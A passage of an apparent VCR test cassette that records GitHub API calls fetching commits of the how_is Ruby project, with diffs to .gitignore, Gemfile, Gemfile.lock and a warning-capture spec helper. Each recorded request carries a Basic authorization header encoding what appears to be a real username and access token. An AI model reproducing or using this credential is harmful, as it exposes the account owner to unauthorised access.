application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 26 Apr 2019 20:32:42 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '3362' X-Ratelimit-Reset: - '1556311539' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"9e26f0600b8decbda85ed71ec2b8f71e" Last-Modified: - Fri, 14 Jul 2017 16:56:54 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - B063:42D3:297352:5424F8:5CC36AEA body: encoding: ASCII-8BIT string: '{"sha":"12cf047737e54098744a9c330c32e03e58b0f089","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MTJjZjA0NzczN2U1NDA5ODc0NGE5YzMzMGMzMmUwM2U1OGIwZjA4OQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"the@smallest.dog","date":"2017-07-14T16:56:54Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-07-14T16:56:54Z"},"message":"Merge pull request #170 from how-is/use-latest-hashie\n\nUse Hashie stable; update Gemfile/add Gemfile.lock","tree":{"sha":"c5e36ec8c61f56e28f8e31e6293248c72202db23","url":"https://api.github.com/repos/how-is/how_is/git/trees/c5e36ec8c61f56e28f8e31e6293248c72202db23"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/12cf047737e54098744a9c330c32e03e58b0f089","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/12cf047737e54098744a9c330c32e03e58b0f089","html_url":"https://github.com/how-is/how_is/commit/12cf047737e54098744a9c330c32e03e58b0f089","comments_url":"https://api.github.com/repos/how-is/how_is/commits/12cf047737e54098744a9c330c32e03e58b0f089/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"4ee91c664d956a303742c66774d738a9ca5c9156","url":"https://api.github.com/repos/how-is/how_is/commits/4ee91c664d956a303742c66774d738a9ca5c9156","html_url":"https://github.com/how-is/how_is/commit/4ee91c664d956a303742c66774d738a9ca5c9156"},{"sha":"ca430458aa4f2ad3696ff77f3281004205a3b84e","url":"https://api.github.com/repos/how-is/how_is/commits/ca430458aa4f2ad3696ff77f3281004205a3b84e","html_url":"https://github.com/how-is/how_is/commit/ca430458aa4f2ad3696ff77f3281004205a3b84e"}],"stats":{"total":122,"additions":119,"deletions":3},"files":[{"sha":"80fa33e2446387172edeb5e92b8a105d1490d61b","filename":".gitignore","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/how-is/how_is/blob/12cf047737e54098744a9c330c32e03e58b0f089/.gitignore","raw_url":"https://github.com/how-is/how_is/raw/12cf047737e54098744a9c330c32e03e58b0f089/.gitignore","contents_url":"https://api.github.com/repos/how-is/how_is/contents/.gitignore?ref=12cf047737e54098744a9c330c32e03e58b0f089","patch":"@@ -1,6 +1,6 @@\n /.bundle/\n /.yardoc\n-/Gemfile.lock\n+#/Gemfile.lock\n /_yardoc/\n /coverage/\n /doc/"},{"sha":"607e1a5b9020efa2b6a74b579fe0907a7a79330f","filename":"Gemfile","status":"modified","additions":0,"deletions":1,"changes":1,"blob_url":"https://github.com/how-is/how_is/blob/12cf047737e54098744a9c330c32e03e58b0f089/Gemfile","raw_url":"https://github.com/how-is/how_is/raw/12cf047737e54098744a9c330c32e03e58b0f089/Gemfile","contents_url":"https://api.github.com/repos/how-is/how_is/contents/Gemfile?ref=12cf047737e54098744a9c330c32e03e58b0f089","patch":"@@ -4,4 +4,3 @@ source ''https://rubygems.org''\n \n # Specify your gem''s dependencies in how_is.gemspec\n gemspec\n-gem ''hashie'', git: ''https://github.com/intridea/hashie.git''"},{"sha":"bc1638134e846eda3c8917d935bceaddcc869699","filename":"Gemfile.lock","status":"added","additions":110,"deletions":0,"changes":110,"blob_url":"https://github.com/how-is/how_is/blob/12cf047737e54098744a9c330c32e03e58b0f089/Gemfile.lock","raw_url":"https://github.com/how-is/how_is/raw/12cf047737e54098744a9c330c32e03e58b0f089/Gemfile.lock","contents_url":"https://api.github.com/repos/how-is/how_is/contents/Gemfile.lock?ref=12cf047737e54098744a9c330c32e03e58b0f089","patch":"@@ -0,0 +1,110 @@\n+PATH\n+ remote: .\n+ specs:\n+ how_is (18.0.3)\n+ contracts (~> 0.16.0)\n+ github_api (~> 0.17.0)\n+ slop (~> 4.4.1)\n+ tessellator-fetcher (~> 5.0.0)\n+\n+GEM\n+ remote: https://rubygems.org/\n+ specs:\n+ addressable (2.4.0)\n+ ast (2.3.0)\n+ contracts (0.16.0)\n+ crack (0.4.3)\n+ safe_yaml (~> 1.0.0)\n+ curl_cacert (1.0.0)\n+ default (1.0.0)\n+ descendants_tracker (0.0.4)\n+ thread_safe (~> 0.3, >= 0.3.1)\n+ diff-lcs (1.3)\n+ faraday (0.9.2)\n+ multipart-post (>= 1.2, < 3)\n+ github_api (0.17.0)\n+ addressable (~> 2.4.0)\n+ descendants_tracker (~> 0.0.4)\n+ faraday (~> 0.8, < 0.10)\n+ hashie (>= 3.4)\n+ mime-types (>= 1.16, < 3.0)\n+ oauth2 (~> 1.0)\n+ hashdiff (0.3.4)\n+ hashie (3.5.6)\n+ heresy (4.0.0)\n+ default (~> 1.0.0)\n+ heresy-string (~> 1.0.0)\n+ net-socket (~> 1.0.0)\n+ heresy-string (1.0.0)\n+ jwt (1.5.6)\n+ mayhaps (0.3.0)\n+ mime-types (2.99.3)\n+ multi_json (1.12.1)\n+ multi_xml (0.6.0)\n+ multipart-post (2.0.0)\n+ net-socket (1.0.0)\n+ oauth2 (1.4.0)\n+ faraday (>= 0.8, < 0.13)\n+ jwt (~> 1.0)\n+ multi_json (~> 1.3)\n+ multi_xml (~> 0.5)\n+ rack (>= 1.2, < 3)\n+ openssl-better_defaults (0.0.1)\n+ parser (2.4.0.0)\n+ ast (~> 2.2)\n+ powerpack (0.1.1)\n+ rack (2.0.3)\n+ rainbow (2.2.2)\n+ rake\n+ rake (11.3.0)\n+ rspec (3.6.0)\n+ rspec-core (~> 3.6.0)\n+ rspec-expectations (~> 3.6.0)\n+ rspec-mocks (~> 3.6.0)\n+ rspec-core (3.6.0)\n+ rspec-support (~> 3.6.0)\n+ rspec-expectations (3.6.0)\n+ diff-lcs (>= 1.2.0, < 2.0)\n+ rspec-support (~> 3.6.0)\n+ rspec-mocks (3.6.0)\n+ diff-lcs (>= 1.2.0, < 2.0)\n+ rspec-support (~> 3.6.0)\n+ rspec-support (3.6.0)\n+ rubocop (0.47.1)\n+ parser (>= 2.3.3.1, < 3.0)\n+ powerpack (~> 0.1)\n+ rainbow (>= 1.99.1, < 3.0)\n+ ruby-progressbar (~> 1.7)\n+ unicode-display_width (~> 1.0, >= 1.0.1)\n+ ruby-progressbar (1.8.1)\n+ safe_yaml (1.0.4)\n+ slop (4.4.3)\n+ tessellator-fetcher (5.0.1)\n+ curl_cacert\n+ heresy (~> 4.0.0)\n+ mayhaps (~> 0.3.0)\n+ openssl-better_defaults\n+ thread_safe (0.3.6)\n+ timecop (0.8.1)\n+ unicode-display_width (1.3.0)\n+ vcr (3.0.3)\n+ webmock (3.0.1)\n+ addressable (>= 2.3.6)\n+ crack (>= 0.3.2)\n+ hashdiff\n+\n+PLATFORMS\n+ ruby\n+\n+DEPENDENCIES\n+ bundler (~> 1.11)\n+ how_is!\n+ rake (~> 11.2)\n+ rspec (~> 3.5)\n+ rubocop (~> 0.47.0)\n+ timecop (~> 0.8.1)\n+ vcr (~> 3.0)\n+ webmock\n+\n+BUNDLED WITH\n+ 1.15.1"},{"sha":"0c39d139a9b93e30c723395e406e1f678ada9023","filename":"spec/capture_warnings.rb","status":"modified","additions":8,"deletions":1,"changes":9,"blob_url":"https://github.com/how-is/how_is/blob/12cf047737e54098744a9c330c32e03e58b0f089/spec/capture_warnings.rb","raw_url":"https://github.com/how-is/how_is/raw/12cf047737e54098744a9c330c32e03e58b0f089/spec/capture_warnings.rb","contents_url":"https://api.github.com/repos/how-is/how_is/contents/spec/capture_warnings.rb?ref=12cf047737e54098744a9c330c32e03e58b0f089","patch":"@@ -1,6 +1,13 @@\n module Warning\n CODEBASE_LOCATION = File.expand_path(''../'', __dir__)\n BUNDLER_DIR_LOCATION = File.expand_path(''.bundle'', CODEBASE_LOCATION)\n+ # vendor/ is where gems are located on Travis CI.\n+ VENDOR_DIR_LOCATION = File.expand_path(''vendor'', CODEBASE_LOCATION)\n+\n+ IGNORED_DIRS = [\n+ BUNDLER_DIR_LOCATION,\n+ VENDOR_DIR_LOCATION,\n+ ]\n \n @@other_warnings = []\n @@howis_warnings = []\n@@ -11,7 +18,7 @@ def self.warn(msg)\n path = File.realpath(caller_locations.first.path)\n \n # Only print warnings for files in how_is'' codebase.\n- if path.start_with?(CODEBASE_LOCATION) && !path.start_with?(BUNDLER_DIR_LOCATION)\n+ if path.start_with?(CODEBASE_LOCATION) && IGNORED_DIRS.none? { |dir| path.start_with?(dir) }\n @@howis_warnings << msg\n super(msg)\n else"}]}' http_version: recorded_at: Fri, 26 Apr 2019 20:32:42 GMT - request: method: get uri: https://api.github.com/repos/how-is/how_is/commits/ca430458aa4f2ad3696ff77f3281004205a3b84e body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 26 Apr 2019 20:32:42 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '3361' X-Ratelimit-Reset: - '1556311539' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"88b13d01021c5706c3a9a08384b920d9" Last-Modified: - Fri, 14 Jul 2017 16:19:37 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - 5E80:1E6B:2AC1DA:5494F7:5CC36AEA body: encoding: ASCII-8BIT string: '{"sha":"ca430458aa4f2ad3696ff77f3281004205a3b84e","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6Y2E0MzA0NThhYTRmMmFkMzY5NmZmNzdmMzI4MTAwNDIwNWEzYjg0ZQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-07-14T16:19:37Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-07-14T16:19:37Z"},"message":"handle ./vendor, because apparently Travis vendors gems now.","tree":{"sha":"c5e36ec8c61f56e28f8e31e6293248c72202db23","url":"https://api.github.com/repos/how-is/how_is/git/trees/c5e36ec8c61f56e28f8e31e6293248c72202db23"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/ca430458aa4f2ad3696ff77f3281004205a3b84e","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/ca430458aa4f2ad3696ff77f3281004205a3b84e","html_url":"https://github.com/how-is/how_is/commit/ca430458aa4f2ad3696ff77f3281004205a3b84e","comments_url":"https://api.github.com/repos/how-is/how_is/commits/ca430458aa4f2ad3696ff77f3281004205a3b84e/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"4870fdaf42ef6d903f4726a24e9212dcbb2e81a3","url":"https://api.github.com/repos/how-is/how_is/commits/4870fdaf42ef6d903f4726a24e9212dcbb2e81a3","html_url":"https://github.com/how-is/how_is/commit/4870fdaf42ef6d903f4726a24e9212dcbb2e81a3"}],"stats":{"total":9,"additions":8,"deletions":1},"files":[{"sha":"0c39d139a9b93e30c723395e406e1f678ada9023","filename":"spec/capture_warnings.rb","status":"modified","additions":8,"deletions":1,"changes":9,"blob_url":"https://github.com/how-is/how_is/blob/ca430458aa4f2ad3696ff77f3281004205a3b84e/spec/capture_warnings.rb","raw_url":"https://github.com/how-is/how_is/raw/ca430458aa4f2ad3696ff77f3281004205a3b84e/spec/capture_warnings.rb","contents_url":"https://api.github.com/repos/how-is/how_is/contents/spec/capture_warnings.rb?ref=ca430458aa4f2ad3696ff77f3281004205a3b84e","patch":"@@ -1,6 +1,13 @@\n module Warning\n CODEBASE_LOCATION = File.expand_path(''../'', __dir__)\n BUNDLER_DIR_LOCATION = File.expand_path(''.bundle'', CODEBASE_LOCATION)\n+ # vendor/ is where gems are located on Travis CI.\n+ VENDOR_DIR_LOCATION = File.expand_path(''vendor'', CODEBASE_LOCATION)\n+\n+ IGNORED_DIRS = [\n+ BUNDLER_DIR_LOCATION,\n+ VENDOR_DIR_LOCATION,\n+ ]\n \n @@other_warnings = []\n @@howis_warnings = []\n@@ -11,7 +18,7 @@ def self.warn(msg)\n path = File.realpath(caller_locations.first.path)\n \n # Only print warnings for files in how_is'' codebase.\n- if path.start_with?(CODEBASE_LOCATION) && !path.start_with?(BUNDLER_DIR_LOCATION)\n+ if path.start_with?(CODEBASE_LOCATION) && IGNORED_DIRS.none? { |dir| path.start_with?(dir) }\n @@howis_warnings << msg\n super(msg)\n else"}]}' http_version: recorded_at: Fri, 26 Apr 2019 20:32:42 GMT - request: method: get uri: https://api.github.com/repos/how-is/how_is/commits/4870fdaf42ef6d903f4726a24e9212dcbb2e81a3 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 26 Apr 2019 20:32:42 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '3360' X-Ratelimit-Reset: - '1556311539' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"3141bbebc31ccade27acc91b05202a1a" Last-Modified: - Fri, 14 Jul 2017 16:06:20 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - E22C:0D7C:1ED6E1:43F65B:5CC36AEA body: encoding: ASCII-8BIT string: '{"sha":"4870fdaf42ef6d903f4726a24e9212dcbb2e81a3","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NDg3MGZkYWY0MmVmNmQ5MDNmNDcyNmEyNGU5MjEyZGNiYjJlODFhMw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-07-14T16:06:20Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-07-14T16:06:20Z"},"message":"Use Hashie stable; update Gemfile/add Gemfile.lock","tree":{"sha":"ded427c925fe74b23a1bed8fd55fa2e9a4845703","url":"https://api.github.com/repos/how-is/how_is/git/trees/ded427c925fe74b23a1bed8fd55fa2e9a4845703"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/4870fdaf42ef6d903f4726a24e9212dcbb2e81a3","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/4870fdaf42ef6d903f4726a24e9212dcbb2e81a3","html_url":"https://github.com/how-is/how_is/commit/4870fdaf42ef6d903f4726a24e9212dcbb2e81a3","comments_url":"https://api.github.com/repos/how-is/how_is/commits/4870fdaf42ef6d903f4726a24e9212dcbb2e81a3/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"4ee91c664d956a303742c66774d738a9ca5c9156","url":"https://api.github.com/repos/how-is/how_is/commits/4ee91c664d956a303742c66774d738a9ca5c9156","html_url":"https://github.com/how-is/how_is/commit/4ee91c664d956a303742c66774d738a9ca5c9156"}],"stats":{"total":113,"additions":111,"deletions":2},"files":[{"sha":"80fa33e2446387172edeb5e92b8a105d1490d61b","filename":".gitignore","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/how-is/how_is/blob/4870fdaf42ef6d903f4726a24e9212dcbb2e81a3/.gitignore","raw_url":"https://github.com/how-is/how_is/raw/4870fdaf42ef6d903f4726a24e9212dcbb2e81a3/.gitignore","contents_url":"https://api.github.com/repos/how-is/how_is/contents/.gitignore?ref=4870fdaf42ef6d903f4726a24e9212dcbb2e81a3","patch":"@@ -1,6 +1,6 @@\n /.bundle/\n /.yardoc\n-/Gemfile.lock\n+#/Gemfile.lock\n /_yardoc/\n /coverage/\n /doc/"},{"sha":"607e1a5b9020efa2b6a74b579fe0907a7a79330f","filename":"Gemfile","status":"modified","additions":0,"deletions":1,"changes":1,"blob_url":"https://github.com/how-is/how_is/blob/4870fdaf42ef6d903f4726a24e9212dcbb2e81a3/Gemfile","raw_url":"https://github.com/how-is/how_is/raw/4870fdaf42ef6d903f4726a24e9212dcbb2e81a3/Gemfile","contents_url":"https://api.github.com/repos/how-is/how_is/contents/Gemfile?ref=4870fdaf42ef6d903f4726a24e9212dcbb2e81a3","patch":"@@ -4,4 +4,3 @@ source ''https://rubygems.org''\n \n # Specify your gem''s dependencies in how_is.gemspec\n gemspec\n-gem ''hashie'', git: ''https://github.com/intridea/hashie.git''"},{"sha":"bc1638134e846eda3c8917d935bceaddcc869699","filename":"Gemfile.lock","status":"added","additions":110,"deletions":0,"changes":110,"blob_url":"https://github.com/how-is/how_is/blob/4870fdaf42ef6d903f4726a24e9212dcbb2e81a3/Gemfile.lock","raw_url":"https://github.com/how-is/how_is/raw/4870fdaf42ef6d903f4726a24e9212dcbb2e81a3/Gemfile.lock","contents_url":"https://api.github.com/repos/how-is/how_is/contents/Gemfile.lock?ref=4870fdaf42ef6d903f4726a24e9212dcbb2e81a3","patch":"@@ -0,0 +1,110 @@\n+PATH\n+ remote: .\n+ specs:\n+ how_is (18.0.3)\n+ contracts (~> 0.16.0)\n+ github_api (~> 0.17.0)\n+ slop (~> 4.4.1)\n+ tessellator-fetcher (~> 5.0.0)\n+\n+GEM\n+ remote: https://rubygems.org/\n+ specs:\n+ addressable (2.4.0)\n+ ast (2.3.0)\n+ contracts (0.16.0)\n+ crack (0.4.3)\n+ safe_yaml (~> 1.0.0)\n+ curl_cacert (1.0.0)\n+ default (1.0.0)\n+ descendants_tracker (0.0.4)\n+ thread_safe (~> 0.3, >= 0.3.1)\n+ diff-lcs (1.3)\n+ faraday (0.9.2)\n+ multipart-post (>= 1.2, < 3)\n+ github_api (0.17.0)\n+ addressable (~> 2.4.0)\n+ descendants_tracker (~> 0.0.4)\n+ faraday (~> 0.8, < 0.10)\n+ hashie (>= 3.4)\n+ mime-types (>= 1.16, < 3.0)\n+ oauth2 (~> 1.0)\n+ hashdiff (0.3.4)\n+ hashie (3.5.6)\n+ heresy (4.0.0)\n+ default (~> 1.0.0)\n+ heresy-string (~> 1.0.0)\n+ net-socket (~> 1.0.0)\n+ heresy-string (1.0.0)\n+ jwt (1.5.6)\n+ mayhaps (0.3.0)\n+ mime-types (2.99.3)\n+ multi_json (1.12.1)\n+ multi_xml (0.6.0)\n+ multipart-post (2.0.0)\n+ net-socket (1.0.0)\n+ oauth2 (1.4.0)\n+ faraday (>= 0.8, < 0.13)\n+ jwt (~> 1.0)\n+ multi_json (~> 1.3)\n+ multi_xml (~> 0.5)\n+ rack (>= 1.2, < 3)\n+ openssl-better_defaults (0.0.1)\n+ parser (2.4.0.0)\n+ ast (~> 2.2)\n+ powerpack (0.1.1)\n+ rack (2.0.3)\n+ rainbow (2.2.2)\n+ rake\n+ rake (11.3.0)\n+ rspec (3.6.0)\n+ rspec-core (~> 3.6.0)\n+ rspec-expectations (~> 3.6.0)\n+ rspec-mocks (~> 3.6.0)\n+ rspec-core (3.6.0)\n+ rspec-support (~> 3.6.0)\n+ rspec-expectations (3.6.0)\n+ diff-lcs (>= 1.2.0, < 2.0)\n+ rspec-support (~> 3.6.0)\n+ rspec-mocks (3.6.0)\n+ diff-lcs (>= 1.2.0, < 2.0)\n+ rspec-support (~> 3.6.0)\n+ rspec-support (3.6.0)\n+ rubocop (0.47.1)\n+ parser (>= 2.3.3.1, < 3.0)\n+ powerpack (~> 0.1)\n+ rainbow (>= 1.99.1, < 3.0)\n+ ruby-progressbar (~> 1.7)\n+ unicode-display_width (~> 1.0, >= 1.0.1)\n+ ruby-progressbar (1.8.1)\n+ safe_yaml (1.0.4)\n+ slop (4.4.3)\n+ tessellator-fetcher (5.0.1)\n+ curl_cacert\n+ heresy (~> 4.0.0)\n+ mayhaps (~> 0.3.0)\n+ openssl-better_defaults\n+ thread_safe (0.3.6)\n+ timecop (0.8.1)\n+ unicode-display_width (1.3.0)\n+ vcr (3.0.3)\n+ webmock (3.0.1)\n+ addressable (>= 2.3.6)\n+ crack (>= 0.3.2)\n+ hashdiff\n+\n+PLATFORMS\n+ ruby\n+\n+DEPENDENCIES\n+ bundler (~> 1.11)\n+ how_is!\n+ rake (~> 11.2)\n+ rspec (~> 3.5)\n+ rubocop (~> 0.47.0)\n+ timecop (~> 0.8.1)\n+ vcr (~> 3.0)\n+ webmock\n+\n+BUNDLED WITH\n+ 1.15.1"}]}' http_version: recorded_at: Fri, 26 Apr 2019 20:32:42 GMT - request: method: get uri: https://api.github.com/repos/how-is/how_is/commits/4ee91c664d956a303742c66774d738a9ca5c9156 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 26 Apr 2019 20:32:42 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '3359' X-Ratelimit-Reset: - '1556311539' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"5190d59c29b5e54c405278dad36d422d" Last-Modified: - Fri, 14 Jul 2017 16:01:31 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, 